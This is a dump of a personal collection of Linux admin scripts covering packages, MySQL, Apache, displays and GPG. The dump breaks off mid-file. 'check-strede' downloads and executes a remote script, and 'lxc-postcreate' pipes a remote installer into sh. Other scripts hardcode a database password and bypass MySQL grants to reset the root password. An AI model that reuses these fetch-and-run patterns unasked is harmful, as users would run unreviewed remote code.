├── settings ├── ppa_list ├── django_dev ├── gconf-settings ├── devel_install ├── graphical_install └── packagelist ├── .gitignore ├── apache-icon.png ├── conky ├── Santana.ttf ├── Santana-Black.ttf ├── Santana-Bold.ttf ├── SantanaXtraCondensed.ttf ├── Santana-BlackCondensed.ttf ├── Santana-RegularCondensed.ttf ├── rings └── clock_rings.lua ├── disable-insert-key ├── compress ├── svg2pdf ├── check-port ├── mpctomp3 ├── killtransmission ├── iptables-adblock ├── swapescape.sh ├── bzr2git ├── whouses ├── xbindkeys_gnome ├── ngrok-start ├── bzr-runserver ├── powerkill ├── mysql-globalbackup ├── dockerfixnat ├── redmine-start ├── which_focus.sh ├── apt-batchinstall ├── apt-source ├── geolocate-mac ├── readconf ├── lxc-postcreate ├── screen-rotate ├── sound-troubleshoot.sh ├── mysql-populate ├── imaptest.py ├── redmine-install ├── hubic-start ├── symfony ├── update ├── cleanup-system ├── toggle-notifications ├── check-strede ├── django-vim ├── poptest.py ├── common ├── lsa ├── mysql-recover-password ├── wifi-reset ├── encrypt ├── set-display ├── psd-thumbnailer.py ├── checkmounts ├── README ├── decrypt ├── dnf ├── alview ├── permsite ├── screenrecord ├── dkim-key ├── missing-libs ├── redmine-backup ├── django-setup ├── postfix-test ├── fix-network.sh ├── chroot_system ├── restore-trash ├── redmine-deploy ├── xkboptions.py ├── debug ├── multidist ├── apt-clean-dependencies ├── iso3166-1alpha2-to-sql ├── ppa-check ├── teardrop-attack ├── iso3166-1alpha2-to-yaml ├── vlc-screencast ├── movesettings.sh ├── postfix-telnet ├── django-localtunnel ├── package_buuf.sh ├── mountsmb ├── blockpid ├── geoip-install ├── lutris-env ├── mysql-benchmark ├── imagedir2pdf ├── plesk-fix-vhosts.py ├── package_redirector ├── mysql-autodump ├── mysql-create-user ├── mysql-autodump-table ├── wordpress ├── aur-update ├── imageresize ├── mysql-sync ├── mysql-datadump ├── mysql-fetchdump ├── postfix-configure ├── lesswatch ├── bash-framework ├── snippets └── html.snippets ├── ah ├── git-unmerged └── powerline-bash.py /settings/ppa_list: -------------------------------------------------------------------------------- 1 | ppa:ubuntu-wine/ppa 2 | 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ide 2 | android 3 | mycroft 4 | chromedriver 5 | -------------------------------------------------------------------------------- /apache-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/apache-icon.png -------------------------------------------------------------------------------- /conky/Santana.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/conky/Santana.ttf -------------------------------------------------------------------------------- /disable-insert-key: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | xmodmap -e "keycode 118 =" 6 | -------------------------------------------------------------------------------- /compress: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | tar cvzf "${1}.tar.gz" "${1}" 6 | rm -rf "${1}" 7 | -------------------------------------------------------------------------------- /conky/Santana-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/conky/Santana-Black.ttf -------------------------------------------------------------------------------- /conky/Santana-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/conky/Santana-Bold.ttf -------------------------------------------------------------------------------- /svg2pdf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | svg=$1 4 | inkscape --file=$svg --export-pdf=${svg%svg}'pdf' 5 | 6 | -------------------------------------------------------------------------------- /check-port: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nmap -p $1 localhost 2>/dev/null | grep ^[0-9] | awk '{print $2}' 4 | -------------------------------------------------------------------------------- /mpctomp3: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in *.mpc ; do mpcdec "$i" - | lame -h -b 256 - "${i%mpc}mp3" ; done 3 | -------------------------------------------------------------------------------- /conky/SantanaXtraCondensed.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/conky/SantanaXtraCondensed.ttf -------------------------------------------------------------------------------- /conky/Santana-BlackCondensed.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/conky/Santana-BlackCondensed.ttf -------------------------------------------------------------------------------- /conky/Santana-RegularCondensed.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/strycore/scripts/HEAD/conky/Santana-RegularCondensed.ttf -------------------------------------------------------------------------------- /killtransmission: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Copy this script to /etc/network/if-post-down.d/ 4 | 5 | killall transmission-gtk 6 | -------------------------------------------------------------------------------- /iptables-adblock: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables -A INPUT -s partypoker.fr -j DROP 4 | iptables -A OUTPUT -d partypoker.fr -j DROP 5 | -------------------------------------------------------------------------------- /swapescape.sh: -------------------------------------------------------------------------------- 1 | setxkbmap -option caps:swapescape -option terminate:ctrl_alt_bkspc -option compose:menu 2 | setxkbmap -query 3 | 4 | -------------------------------------------------------------------------------- /bzr2git: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | git init 6 | bzr fast-export --plain . | git fast-import 7 | git co -f master 8 | rm -rf .bzr/ 9 | -------------------------------------------------------------------------------- /whouses: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | lsof -Pnl +M -i4 | grep $1 4 | lsof -Pnl +M -i6 | grep $1 5 | netstat -tulpn | grep $1 6 | 7 | #curl -v localhost:$1 8 | -------------------------------------------------------------------------------- /xbindkeys_gnome: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [[ "$DESKTOP_SESSION" == "gnome" || "$DESKTOP_SESSION" == "pop" ]]; then 4 | xbindkeys_autostart 5 | fi 6 | -------------------------------------------------------------------------------- /ngrok-start: -------------------------------------------------------------------------------- 1 | #!/usr/bin/node 2 | 3 | var ngrok = require('ngrok'); 4 | var port = 8000; 5 | 6 | ngrok.connect(port, function (err, url) { 7 | console.log(url); 8 | }); 9 | -------------------------------------------------------------------------------- /settings/django_dev: -------------------------------------------------------------------------------- 1 | python-django 2 | python-django-doc 3 | python-django-registration 4 | python-django-south 5 | python-django-registration 6 | python-django-debug-toolbar 7 | 8 | -------------------------------------------------------------------------------- /bzr-runserver: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | SERVER_IP=88.191.146.33 3 | SERVER_PORT=4155 4 | REPO_PATH="/srv/bzr" 5 | bzr serve --listen=$SERVER_IP --port=$SERVER_PORT --directory=$REPO_PATH --allow-writes 6 | -------------------------------------------------------------------------------- /settings/gconf-settings: -------------------------------------------------------------------------------- 1 | /apps/compiz-1/plugins/expo/screen0/options/expo_button Button8 2 | /apps/compiz-1/general/screen0/options/hsize 3 3 | /apps/compiz-1/general/screen0/options/vsize 3 4 | 5 | -------------------------------------------------------------------------------- /powerkill: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | if [ -z $1 ] ; then 6 | exit 2 7 | fi 8 | 9 | pids=$(ps -elf | grep $1 | grep -v grep | awk '{print $4}') 10 | 11 | for pid in ${pids} ; do 12 | kill -9 $pid 13 | done 14 | -------------------------------------------------------------------------------- /mysql-globalbackup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | backup_dir="/srv/backup/sql/" 4 | backup_date=$(date +%Y-%m-%d-%H-%M) 5 | dump_file=${backup_dir}mysql-alldump-${backup_date}.sql 6 | mysqldump -u root -p --all-databases > $dump_file 7 | gzip $dump_file 8 | -------------------------------------------------------------------------------- /settings/devel_install: -------------------------------------------------------------------------------- 1 | python-yaml 2 | python-gconf 3 | python-pyglet 4 | python-mysqldb 5 | doc-debian 6 | debian-faq 7 | meld 8 | exuberant-ctags 9 | bzr-svn 10 | bzr-email 11 | bzr-git 12 | bzr-hg 13 | bzr-explorer 14 | csstidy 15 | vim-nox 16 | 17 | -------------------------------------------------------------------------------- /dockerfixnat: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo iptables -t nat -N DOCKER 4 | sudo iptables -t nat -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER 5 | sudo iptables -t nat -A PREROUTING -m addrtype --dst-type LOCAL ! --dst 127.0.0.0/8 -j DOCKER 6 | sudo service docker restart 7 | -------------------------------------------------------------------------------- /redmine-start: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | 6 | cd /usr/share/redmine 7 | IP=$(ifconfig eth0 | grep 'inet adr:' | cut -d: -f2 | awk '{ print $1}') 8 | 9 | sudo -u www-data X_DEBIAN_SITEID="default" ruby script/server mongrel -e production -b $IP 10 | 11 | -------------------------------------------------------------------------------- /which_focus.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function get_focus_id() 4 | { 5 | wid=`xprop -root _NET_ACTIVE_WINDOW | grep "_NET_ACTIVE_WINDOW(WINDOW)" | awk '{print $5}'` 6 | xprop -id $wid | grep CLASS 7 | } 8 | 9 | while [ "yes" ] 10 | do 11 | sleep 1 12 | get_focus_id 13 | done 14 | -------------------------------------------------------------------------------- /apt-batchinstall: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | for PKG_NAME in `cat $1` ; do 6 | STATUS=`dpkg -s $PKG_NAME | grep ^Status | cut -d" " -f4` 7 | if [ "$STATUS" = "installed" ]; then 8 | echo $PKG_NAME" is installed" 9 | else 10 | apt-get install -y --install-recommends $PKG_NAME 11 | fi 12 | done 13 | -------------------------------------------------------------------------------- /apt-source: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RELEASE=`lsb_release -c -s` 4 | SOURCE_CACHE="/media/sourcecode/source/ubuntu/$RELEASE" 5 | 6 | if [ ! $1 ] ; then 7 | echo "Please provide package name" 8 | exit 2 9 | fi 10 | 11 | mkdir -p $SOURCE_CACHE 12 | cd $SOURCE_CACHE 13 | mkdir $1 14 | cd $1 15 | apt-get source $1 16 | -------------------------------------------------------------------------------- /geolocate-mac: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 'Looking up ' $1 3 | curl -X POST -d '{ 4 | "version": "1.1.0", 5 | "host": "perdu.com", 6 | "request_address": true, 7 | "address_language": "en_GB", 8 | "wifi_towers": [ 9 | { 10 | "mac_address": "'${1}'" 11 | } 12 | ] 13 | }' https://www.google.com/loc/json 14 | -------------------------------------------------------------------------------- /readconf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function readconf 4 | { 5 | sed -n ' 6 | /\['"$(hostname)"'/,/\[.*\]/ { 7 | s/\[.*// 8 | s/[ ^I]*$// 9 | /^$/ d 10 | p 11 | } 12 | ' < $1 13 | } 14 | OLDIFS=$IFS 15 | IFS="\n" 16 | val=$(readconf $HOME/testsed) 17 | for i in $val ; do 18 | echo $i 19 | done 20 | IFS=$OLDIFS 21 | 22 | 23 | -------------------------------------------------------------------------------- /settings/graphical_install: -------------------------------------------------------------------------------- 1 | terminator 2 | smplayer 3 | ubuntu-restricted-extras 4 | wine1.3 5 | gimp 6 | inkscape 7 | compizconfig-settings-manager 8 | nautilus-open-terminal 9 | lm-sensors 10 | xdotool 11 | chromium-browser 12 | gnome-do 13 | docky 14 | gcolor2 15 | agave 16 | screenruler 17 | galternatives 18 | gparted 19 | bzr-explorer 20 | -------------------------------------------------------------------------------- /lxc-postcreate: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | USERNAME=strider 3 | dpkg-reconfigure tzdata 4 | apt-get install zsh curl 5 | 6 | deluser ubuntu --remove-home 7 | adduser $USERNAME --shell /usr/bin/zsh --uid 1000 --gid 1000 8 | usermod -G sudo $USERNAME 9 | 10 | cd /home/$USERNAME 11 | curl -L https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh | sh 12 | -------------------------------------------------------------------------------- /screen-rotate: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | angle=`xrandr | grep connected | awk '{print $4}'` 3 | newangle='left' 4 | if [ $angle = 'left' ]; 5 | then 6 | newangle='inverted' 7 | fi 8 | if [ $angle = 'inverted' ]; 9 | then 10 | newangle='right' 11 | fi 12 | if [ $angle = 'right' ]; 13 | then 14 | newangle='normal' 15 | fi 16 | 17 | xrandr --output default --rotate $newangle 18 | -------------------------------------------------------------------------------- /sound-troubleshoot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DEST=/tmp/soundcard-info 4 | mkdir -p $DEST 5 | 6 | cp /var/log/pm-suspend.log $DEST 7 | lspci -nn | egrep 'sound|udio' > $DEST/lspci.out 8 | ls /proc/asound/* > $DEST/asound 9 | cp /proc/asound/cards $DEST/cards 10 | pulseaudio --check 11 | echo "$?" > $DEST/pulse_running 12 | lsmod > $DEST/modules 13 | 14 | tar czf ~/sound-info.tar.gz $DEST 15 | -------------------------------------------------------------------------------- /mysql-populate: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | #database to populate 6 | database=database 7 | user=root 8 | password=admin 9 | 10 | dump=$1 11 | 12 | echo "SET foreign_KEY_CHECKS=0;" > /tmp/nocheck.sql 13 | cat /tmp/nocheck.sql $1 > /tmp/mysql_import.sql 14 | 15 | mysql -u $user -p $password $database < /tmp/mysql_import.sql 16 | 17 | rm /tmp/nocheck.sql 18 | rm /tmp/mysql_import.sql 19 | -------------------------------------------------------------------------------- /imaptest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import imaplib 4 | import getpass 5 | 6 | #IMAP_SERVER='pop.free.fr' 7 | IMAP_PORT=143 8 | IMAP_SERVER = raw_input('Enter imap server: ') 9 | IMAP_LOGIN = raw_input('Enter login: ') 10 | 11 | IMAP_PASS = getpass.getpass('Enter password: ') 12 | 13 | imap_cnx = imaplib.IMAP4(IMAP_SERVER, IMAP_PORT) 14 | res = imap_cnx.login(IMAP_LOGIN, IMAP_PASS) 15 | print res 16 | 17 | -------------------------------------------------------------------------------- /redmine-install: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | apt-get install redmine 6 | 7 | cd /usr/share/redmine 8 | mkdir -p tmp 9 | chown www-data:www-data tmp 10 | mkdir -p log 11 | touch log/production.log 12 | chown www-data:www-data log -R 13 | IP=$(ifconfig eth0 | grep 'inet adr:' | cut -d: -f2 | awk '{ print $1}') 14 | 15 | sudo -u www-data X_DEBIAN_SITEID="default" ruby script/server webrick -e production -b $IP 16 | 17 | -------------------------------------------------------------------------------- /hubic-start: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | dbus_session_path="/tmp/hubic-dbus" 4 | if [ -f $dbus_session_path ]; then 5 | export DBUS_SESSION_BUS_ADDRESS="$(cat $dbus_session_path)" 6 | else 7 | export DBUS_SESSION_BUS_ADDRESS="$(dbus-daemon --session --fork --print-address)" 8 | echo $DBUS_SESSION_BUS_ADDRESS > $dbus_session_path 9 | fi 10 | 11 | echo "Starting hubiC..." 12 | echo $DBUS_SESSION_BUS_ADDRESS 13 | hubic start 14 | -------------------------------------------------------------------------------- /symfony: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | working_dir=$(pwd) 4 | current_dir=$working_dir 5 | 6 | while [ ! $current_dir = '/' ] ; 7 | do 8 | current_dir=$(pwd) 9 | if [ -f $current_dir"/symfony" ] ; then 10 | symfony_root=$current_dir 11 | break 12 | fi 13 | cd .. 14 | done 15 | cd $working_dir 16 | if [ -z $symfony_root ] ; then 17 | echo "Error : not inside a symfony project" 18 | exit 2 19 | fi 20 | 21 | php $symfony_root"/symfony" "$@" 22 | -------------------------------------------------------------------------------- /update: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # update : Convinient shortcut to keep your Debian or Ubuntu system up to date 3 | # version 0.1 (2010/03/10) 4 | # (c) 2010 Mathieu Comandon 5 | # Licensed under the terms of the GPL Version 3 6 | # 7 | # Usage: 8 | # update 9 | set -e 10 | set -x 11 | 12 | SUDO="sudo" 13 | APT="apt" 14 | 15 | echo "Updating cache" 16 | $SUDO $APT update 17 | echo "Upgrading system" 18 | $SUDO $APT full-upgrade -y 19 | echo "Done" 20 | -------------------------------------------------------------------------------- /cleanup-system: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | if [[ "$(which apt)" ]] then 6 | # Auto remove packages 7 | sudo apt autoremove --purge 8 | 9 | # Purge residual configs 10 | sudo apt purge $(dpkg -l | grep '^rc' | awk '{print $2}') 11 | 12 | # Clear APT cache 13 | sudo apt clean 14 | fi 15 | # Trim down systemd log 16 | sudo journalctl --vacuum-size=200M 17 | 18 | # Clear crash reports 19 | sudo rm /var/crash/* 20 | -------------------------------------------------------------------------------- /toggle-notifications: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | current_state=$(gsettings get org.gnome.desktop.notifications show-banners) 4 | if [[ $current_state == 'true' ]]; then 5 | new_state='false' 6 | notify-send "Disabling notifications" 7 | else 8 | new_state='true' 9 | fi 10 | 11 | gsettings set org.gnome.desktop.notifications show-banners $new_state 12 | if [[ $new_state == 'true' ]]; then 13 | notify-send "Notifications are now enabled" 14 | fi 15 | -------------------------------------------------------------------------------- /check-strede: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | TITLE="Strycore helper" 3 | HAS_ZENITY=`which zenity` 4 | if [ "$HAS_ZENITY" = "" ]; 5 | then 6 | notify-send --expire-time=50 "$TITLE" "zenity n'est pas installé" 7 | gksudo "apt-get -y install zenity" 8 | fi 9 | SCRIPTREPO=http://strycore.com/scripts/ 10 | TMPDIR=strycorehelp 11 | rm -r /tmp/$TMPDIR 12 | mkdir /tmp/$TMPDIR 13 | cd /tmp/$TMPDIR 14 | wget $SCRIPTREPO/instructions.sh 15 | chmod +x instructions.sh 16 | ./instructions.sh 17 | -------------------------------------------------------------------------------- /settings/packagelist: -------------------------------------------------------------------------------- 1 | apache2 2 | php5 3 | php5-mysql 4 | php5-cli 5 | php5-gd 6 | php5-dev 7 | php5-mcrypt 8 | php-pear 9 | mysql-server 10 | lftp 11 | nmap 12 | htop 13 | vim 14 | bzr 15 | git-core 16 | subversion 17 | mercurial 18 | python-pexpect 19 | automake 20 | build-essential 21 | htop 22 | screen 23 | man2html 24 | apt-file 25 | mutt 26 | nano 27 | openssl 28 | openssh-client 29 | imagemagick 30 | rsync 31 | sudo 32 | w3m 33 | wget 34 | whois 35 | ack-grep 36 | -------------------------------------------------------------------------------- /django-vim: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | if [[ "$VIRTUAL_ENV" ]]; then 5 | source $VIRTUAL_ENV/bin/activate 6 | export PYTHONPATH="$(python -c "import sys; print '.' + ':'.join(sys.path)")" 7 | fi 8 | 9 | if [[ -f $(which mvim) ]] ; then 10 | echo "MacVim found" 11 | vim="mvim" 12 | else 13 | vim="gvim -f" 14 | fi 15 | 16 | PROJECT=$(python -c "import os; print os.path.basename(os.getcwd())") 17 | DJANGO_SETTINGS_MODULE=$PROJECT.settings $vim "+cd ." & 18 | -------------------------------------------------------------------------------- /poptest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import poplib 4 | import getpass 5 | 6 | #POP_SERVER='pop.free.fr' 7 | POP_PORT=110 8 | POP_SERVER = raw_input('Enter pop server: ') 9 | POP_LOGIN = raw_input('Enter login: ') 10 | 11 | POP_PASS = getpass.getpass('Enter password: ') 12 | 13 | pop_cnx = poplib.POP3(POP_SERVER, POP_PORT) 14 | pop_cnx.user(POP_LOGIN) 15 | try: 16 | res = pop_cnx.pass_(POP_PASS) 17 | except poplib.error_proto: 18 | print "Auth failed" 19 | else: 20 | print res 21 | 22 | -------------------------------------------------------------------------------- /common: -------------------------------------------------------------------------------- 1 | #Watches for process with name $1 to be terminated then call $2 2 | function process_on_death() 3 | { 4 | pid=`pgrep $1` 5 | while [ "$pid" ] 6 | do 7 | sleep 1 8 | pid=`pgrep $1` 9 | done 10 | $2 11 | } 12 | 13 | #Loops until a process with name $1 spawn then calls $2 14 | function process_on_spawn() 15 | { 16 | pid=`pgrep $1` 17 | while [ -z "$pid" ] 18 | do 19 | sleep 1 20 | pid=`pgrep $1` 21 | done 22 | $2 23 | } 24 | -------------------------------------------------------------------------------- /lsa: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # lsa : list your apache virtual hosts 3 | # with the local path and the URL 4 | # version 0.1 (2010/03/10) 5 | # (c) 2010 Mathieu Comandon 6 | # Licensed under the terms of the GPL Version 3 7 | # 8 | # Usage: 9 | # lsa 10 | 11 | apache_dir="/etc/apache2/sites-enabled/" 12 | for file in $(ls $apache_dir); do 13 | srvname=$(grep ServerName $apache_dir$file | sed 's|ServerName\s*|http://|') 14 | root=$(grep DocumentRoot $apache_dir$file | sed 's|DocumentRoot\s*||') 15 | echo $file : $srvname " stored in " $root 16 | done 17 | -------------------------------------------------------------------------------- /mysql-recover-password: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | tmp_file="/tmp/reset-mysql-password.sql" 6 | echo -n "Enter new root password :" 7 | read new_pass 8 | sudo /etc/init.d/mysql stop 9 | sudo mysqld_safe --skip-grant-tables & 10 | echo "use mysql;" > $tmp_file 11 | echo "update user set password=PASSWORD(\"${new_pass}\") where User='root';" >> $tmp_file 12 | echo "flush privileges;" >> $tmp_file 13 | echo "quit" >> $tmp_file 14 | mysql -u root < $tmp_file 15 | 16 | /etc/init.d/mysql stop 17 | rm $tmp_file 18 | /etc/init.d/mysql start 19 | 20 | echo "Done :)" 21 | -------------------------------------------------------------------------------- /wifi-reset: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # reset wifi interface 3 | 4 | # network interface name 5 | interface="wlp3s0" 6 | 7 | # syslog tag 8 | tag="wifi-resume" 9 | 10 | # check for "interface: link is not ready" 11 | (dmesg | tail -10 | grep "${interface}: link is not ready")>/dev/null 12 | 13 | if [ "$?" -eq 0 ]; then 14 | logger -t $tag "$interface is not ready" 15 | if [ -z "$(iwgetid --raw $interface)" ]; then 16 | logger -t $tag "$interface is not connected to any network" 17 | modprobe -r ath10k_pci 18 | modprobe ath10k_pci 19 | fi 20 | fi 21 | -------------------------------------------------------------------------------- /encrypt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # encrypt : Encrypt files or directories with GPG 4 | # 5 | # Version 0.1 (2015/6/5) 6 | # (c) 2015 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | 10 | IFS=$'\n' 11 | set -e 12 | 13 | 14 | echo "Using key $1" 15 | pgp_key=$1 16 | shift 17 | 18 | echo "Moving secure files to $1" 19 | mkdir -p $1 20 | cd $1 21 | shift 22 | 23 | for f in $@; do 24 | echo $f 25 | arch_name="$(uuid -v 5 ns:URL "$f").tar" 26 | tar cf ${arch_name} $f 27 | gpg -r ${pgp_key} -e ${arch_name} 28 | rm ${arch_name} 29 | done 30 | -------------------------------------------------------------------------------- /set-display: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | 6 | TV_OUT="HDMI-A-1" 7 | PC_OUT="DP-3" 8 | 9 | if [[ "$1" == "monitor" ]]; then 10 | xrandr --output $TV_OUT --off --output $PC_OUT --primary --mode 2560x1440 --rate 144 --right-of $TV_OUT 11 | fi 12 | 13 | if [[ "$1" == "tv" ]]; then 14 | xrandr --output $TV_OUT --primary --mode 1920x1080 --rate 60 --left-of $PC_OUT --output $PC_OUT --off 15 | fi 16 | 17 | if [[ "$1" == "both" ]]; then 18 | xrandr --output $TV_OUT --mode 1920x1080 --rate 60 --left-of $PC_OUT --output $PC_OUT --primary --mode 2560x1440 --rate 144 19 | fi 20 | 21 | -------------------------------------------------------------------------------- /psd-thumbnailer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Filename: psd-thumbnailer.py 3 | 4 | __licence__ = "LGPLv3" 5 | __copyright__ = "Matthew McGowan, 2008" 6 | __author__ = "Matthew McGowan " 7 | 8 | import sys 9 | from PIL import Image 10 | 11 | cwd, maxxy, infile, outfile = sys.argv 12 | size = int(maxxy), int(maxxy) 13 | 14 | #logfile = open('/home/mathieu/psd.log', 'a') 15 | #logfile.write("Writing thumb for psd file : %s \n" % infile) 16 | #logfile.close() 17 | 18 | im = Image.open(infile) 19 | im.thumbnail(size, Image.ANTIALIAS) 20 | im.save(outfile, "PNG") 21 | 22 | -------------------------------------------------------------------------------- /checkmounts: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Run this as root" 3 | for DEVICE in `fdisk -l | grep ^/dev | awk '{print $1}'`; 4 | do 5 | PARTITION_TYPE=`fdisk -l | grep ^$DEVICE | sed "s/*//" |awk '{print $6 $7}'` 6 | IS_MOUNTED=`mount | grep $DEVICE | wc -l` 7 | DEST=`mount | grep $DEVICE | awk '{print $3}'` 8 | if [ $IS_MOUNTED -eq 1 ] 9 | then 10 | echo "Drive "$DEVICE" is mounted on "$DEST"("$PARTITION_TYPE")" 11 | else 12 | if [ $PARTITION_TYPE != "Extended" -a $PARTITION_TYPE != "Linuxswap" ]; then 13 | echo -e "\033[1mDrive "$DEVICE" is not mounted ("$PARTITION_TYPE")\033[0m" 14 | fi 15 | fi 16 | done 17 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Strycore's script collection 2 | ---------------------------- 3 | 4 | Author: Mathieu Comandon 5 | 6 | This is a collection of shell scripts I've written and that are (or were) useful 7 | at some point. Most of these scripts are written in Bash and a few are in 8 | Python. All of them are under a GPL v3 license, unless specified otherwise. 9 | 10 | Some of the scripts are written in a quick and dirty way because I needed them 11 | quickly on rare occasions. Others like the mysql-* series are cleaner and try to 12 | follow scripting best practices. 13 | 14 | Comments, criticism and patches are welcome ! 15 | -------------------------------------------------------------------------------- /decrypt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # decrypt : Decrypt files encrypted with the encrypt command 4 | # 5 | # Version 0.1 (2015/6/5) 6 | # (c) 2015 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | 10 | IFS=$'\n' 11 | 12 | dest=$1 13 | echo "extracting files to ${dest}" 14 | mkdir -p ${dest} 15 | shift 16 | 17 | read -s -p "Password" password 18 | 19 | for f in $@; do 20 | echo $f 21 | filename=$(basename $f) 22 | dest_path="${dest}/${filename%.gpg}" 23 | echo $password | gpg --output "${dest_path}" --batch --passphrase-fd 0 --decrypt $f 24 | cd $(dirname $dest_path) 25 | tar xf $dest_path 26 | rm $dest_path 27 | done 28 | -------------------------------------------------------------------------------- /dnf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Simple wrapper script for DNF that lets people not worry about which commands have been ported to DNF 5 and which haven't. 3 | # Install: sudo cp dnf /usr/local/bin 4 | # Remove: sudo rm /usr/local/bin/dnf 5 | 6 | dnf4_commands=(check check-update provides repository-packages shell whatprovides config-manager debug-dump debug-restore debuginfo-install groups-manager needs-restarting offline-distrosync offline-upgrade playground repoclosure repodiff repograph repomanage reposync system-upgrade) 7 | 8 | if [[ " ${dnf4_commands[*]} " =~ [[:space:]]${1}[[:space:]] ]]; then 9 | DNF=dnf4 10 | else 11 | DNF=dnf5 12 | fi 13 | 14 | $DNF $* 15 | exit $? 16 | -------------------------------------------------------------------------------- /alview: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # alview : Apache 2 log viewer using terminator and a dual screen 3 | # version 0.1 (2010/03/10) 4 | # (c) 2010 Mathieu Comandon 5 | # Licensed under the terms of the GPL Version 3 6 | # 7 | # Usage: 8 | # alview [VHOST] 9 | 10 | apachedir="/etc/apache2/sites-enabled/" 11 | for file in $(ls $apachedir) 12 | do 13 | if [ $file == $1 ]; then 14 | errorlog=$(grep ErrorLog $apachedir$file | sed -e 's/ErrorLog//') 15 | accesslog=$(grep CustomLog $apachedir$file | sed -e 's/CustomLog//') 16 | fi 17 | 18 | done 19 | terminator -e "tail -n 99 -f $errorlog" -b --geometry=1280x525+1680+0& 20 | terminator -e "tail -n 99 -f $accesslog" -b --geometry=1280x525+1680+525& 21 | -------------------------------------------------------------------------------- /permsite: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # permsites : Checks permission of all files served by Apache 3 | # and sets them to www-data 4 | # Tip: Add yourself to the www-data group if you're the webmaster 5 | # version 0.1 (2010/03/10) 6 | # (c) 2010 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | # Usage: 10 | # permsites 11 | 12 | set -e 13 | 14 | SUDO="" 15 | 16 | apachedir="/etc/apache2/sites-enabled/" 17 | for file in $(ls $apachedir); do 18 | root=$(grep DocumentRoot $apachedir$file | sed 's|[ \t]*DocumentRoot[ \t]*||' | tr -d "\"") 19 | echo $root 20 | if [ -d $root ] ; then 21 | chown -R www-data:www-data $root 22 | find $root -type d -exec chmod -R ug+rwx \{\} \; 23 | chmod -R ug+rw $root 24 | fi 25 | done 26 | -------------------------------------------------------------------------------- /screenrecord: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | FFMPEG='ffmpeg' 4 | 5 | WIDTH=1920 6 | HEIGHT=1080 7 | FRAMERATE=60 8 | 9 | XPOSITION=$WIDTH 10 | YPOSITION=$HEIGHT 11 | 12 | VIDEO_CODEC='libx264' 13 | ENCODER_OPTIONS='-preset ultrafast -crf 0 -tune zerolatency' 14 | 15 | #VIDEO_CODEC='nvenc' 16 | #ENCODER_OPTIONS='-preset slow -b:v 20M -maxrate 10M 